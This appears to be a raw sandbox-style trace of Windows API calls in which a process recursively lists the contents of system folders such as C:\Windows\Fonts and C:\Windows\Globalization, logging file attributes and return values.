	[0086.494] CreateFileW (lpFileName="C:\\Windows\\Fonts" (normalized: "c:\\windows\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.494] FindFirstFileW (in: lpFileName="C:\\Windows\\Fonts\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d0f7050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0f7050, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.573] SetEvent (hEvent=0x80) returned 1
	[0086.573] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0086.574] SetEvent (hEvent=0x80) returned 1
	[0086.574] SetEvent (hEvent=0x8c) returned 1
	[0086.574] SetEvent (hEvent=0x78) returned 1
	[0086.574] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.574] SetEvent (hEvent=0x78) returned 1
	[0086.650] CreateFileW (lpFileName="C:\\Windows\\Globalization" (normalized: "c:\\windows\\globalization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.650] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\*", lpFindFileData=0x124e79e0 | out: lpFindFileData=0x124e79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe3ad5e0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe3ad5e0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELS", cAlternateFileName="")) returned 1
	[0086.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT", cAlternateFileName="")) returned 1
	[0086.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sorting", cAlternateFileName="")) returned 1
	[0086.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.650] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.651] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS" (normalized: "c:\\windows\\globalization\\els"), fInfoLevelId=0x0, lpFileInformation=0x123adea8 | out: lpFileInformation=0x123adea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe3ad5e0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe3ad5e0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.651] CreateFileW (lpFileName="C:\\Windows\\Globalization\\ELS" (normalized: "c:\\windows\\globalization\\els"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.651] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe3ad5e0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe3ad5e0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe3ad5e0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe3ad5e0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transliteration", cAlternateFileName="TRANSL~1")) returned 1
	[0086.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.651] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.651] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration" (normalized: "c:\\windows\\globalization\\els\\transliteration"), fInfoLevelId=0x0, lpFileInformation=0x123adf48 | out: lpFileInformation=0x123adf48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.652] CreateFileW (lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration" (normalized: "c:\\windows\\globalization\\els\\transliteration"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.652] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1083b0ef, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x1083b0ef, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe08, dwReserved0=0x0, dwReserved1=0x0, cFileName="bengali-to-latin.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108873a9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108873a9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="cyrl-to-latin.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108873a9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108873a9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf48, dwReserved0=0x0, dwReserved1=0x0, cFileName="devanagari-to-latin.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7b9e459, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0xd7b9e459, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0xd7bc45b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0920, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hans-To-Hant.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107eee35, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x107eee35, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7d1b205, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x566e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hant-To-Hans.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108ad506, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108ad506, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7d674c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="malayalam-to-latin.nlt", cAlternateFileName="")) returned 1
	[0086.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.653] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.654] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\Hans-To-Hant.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\hans-to-hant.nlt"), fInfoLevelId=0x0, lpFileInformation=0x12500198 | out: lpFileInformation=0x12500198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7b9e459, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0xd7b9e459, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0xd7bc45b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0920)) returned 1
	[0086.655] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\Hant-To-Hans.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\hant-to-hans.nlt"), fInfoLevelId=0x0, lpFileInformation=0x125001e8 | out: lpFileInformation=0x125001e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107eee35, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x107eee35, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7d1b205, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x566e0)) returned 1
	[0086.656] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\bengali-to-latin.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\bengali-to-latin.nlt"), fInfoLevelId=0x0, lpFileInformation=0x12500238 | out: lpFileInformation=0x12500238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1083b0ef, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x1083b0ef, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe08)) returned 1
	[0086.656] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\cyrl-to-latin.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\cyrl-to-latin.nlt"), fInfoLevelId=0x0, lpFileInformation=0x12500288 | out: lpFileInformation=0x12500288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108873a9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108873a9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf60)) returned 1
	[0086.656] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\devanagari-to-latin.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\devanagari-to-latin.nlt"), fInfoLevelId=0x0, lpFileInformation=0x125002d8 | out: lpFileInformation=0x125002d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108873a9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108873a9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7b9e459, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf48)) returned 1
	[0086.657] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\ELS\\Transliteration\\malayalam-to-latin.nlt" (normalized: "c:\\windows\\globalization\\els\\transliteration\\malayalam-to-latin.nlt"), fInfoLevelId=0x0, lpFileInformation=0x12500328 | out: lpFileInformation=0x12500328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108ad506, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0x108ad506, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0xd7d674c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf68)) returned 1
	[0086.657] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT" (normalized: "c:\\windows\\globalization\\mct"), fInfoLevelId=0x0, lpFileInformation=0x12500378 | out: lpFileInformation=0x12500378*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.658] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT" (normalized: "c:\\windows\\globalization\\mct"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.658] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT-AU", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf7d390f5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT-CA", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x541dec5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT-GB", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x11ac464d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT-US", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCT-ZA", cAlternateFileName="")) returned 1
	[0086.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.658] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.658] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU" (normalized: "c:\\windows\\globalization\\mct\\mct-au"), fInfoLevelId=0x0, lpFileInformation=0x12500558 | out: lpFileInformation=0x12500558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.659] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU" (normalized: "c:\\windows\\globalization\\mct\\mct-au"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.659] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeed", cAlternateFileName="")) returned 1
